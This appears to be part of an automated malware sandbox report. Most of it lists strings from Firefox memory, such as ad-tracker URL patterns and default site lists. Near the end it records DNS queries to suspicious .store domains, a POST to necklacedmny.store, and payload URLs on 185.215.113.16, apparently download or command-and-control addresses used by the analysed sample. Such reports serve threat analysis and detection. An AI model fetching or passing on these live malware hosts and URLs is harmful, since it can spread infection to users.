"://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F36625D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000022.00000002.2690546838.000001F36625D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B90E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AA74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2449943656.000001F36C2C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AA74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2449943656.000001F36C2C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2905653405.000001F36B204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000003.2449775839.000001F36C2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000003.2449775839.000001F36C2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000003.2449775839.000001F36C2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://gre/modules/FileUtils.sys.mjsget FIXUP_FLAG_FORCE_ALTERNATE_URIhttp://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/compose?to=%sresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsCan't invoke URIFixup in the content process{33d75835-722f-42c0-89cc-44f328e56a86}isDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sextractScheme/fixupChangedProtocol<gecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/JSONFile.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/simple-stream-listener;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStream@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sNon-zero amount of bytes must be specified@mozilla.org/network/input-stream-pump;1Must have a source and a callback@mozilla.org/intl/converter-input-stream;1newChannel requires a single object argumenthttps://poczta.interia.pl/mh/?mailto=%shttps://mail.inbox.lv/compose?to=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/network/async-stream-copier;1@mozilla.org/uriloader/handler-service;1VALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/uriloader/handler-service;1 equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: startup - adding clearkey CDM directory startup - adding clearkey CDM failedThis should only be called from XPCShell testsKEY_PLUGIN_LAST_INSTALL_FAIL_REASONsitepermsaddon-provider-registeredmedia.gmp-manager.cert.checkAttributesonPrefEMEGlobalEnabledChanged() id=speculativeConnectWithOriginAttributesstartup - adding gmp directory failed with findUpdates() - found update for KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONdom.sitepermsaddon-provider.enabledresource://gre/modules/AddonManager.sys.mjsipc:first-content-process-createdresource://gre/modules/AddonManager.sys.mjsresource://gre/modules/amManager.sys.mjsuninstallPlugin() - unregistering gmp directory resource://gre/modules/UpdateUtils.sys.mjs - the given reason to update is not supportedmedia.gmp-manager.secondsBetweenChecksaddGatedPermissionTypesForXpcShellTestsfindUpdates() - updateTask succeeded for media.{0}.allow-x64-plugin-on-arm64media.gmp-manager.cert.requireBuiltInonPrefEnabledChanged() - adding gmp directory SitePermsAddonInstall#cancel called twice on resource://gre/modules/FileUtils.sys.mjspictureinpicture%40mozilla.org:1.0.0webcompat-reporter%40mozilla.org:1.5.1https://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.jsresource://gre/modules/addons/XPIProvider.jsmwebcompat-reporter@mozilla.org.xpi://track.adform.net/serving/scripts/trackpoint/://cdn.branch.io/branch-latest.min.js@mozilla.org/network/safe-file-output-stream;1://pub.doubleverify.com/signals/pub.js@mozilla.org/addons/addon-manager-startup;1://static.chartbeat.com/js/chartbeat.js://static.chartbeat.com/js/chartbeat_video.js://.imgur.com/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://connect.facebook.net//all.js*://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.jsresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2910420277.000001F36BA3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A6C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2910420277.000001F36BA4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2894351966.000001F36A6C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2910420277.000001F36BA98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B7EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000022.00000002.2550900709.000001F35A16B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe1
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe/T
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2531426182.000000000133A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe%T
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe=T
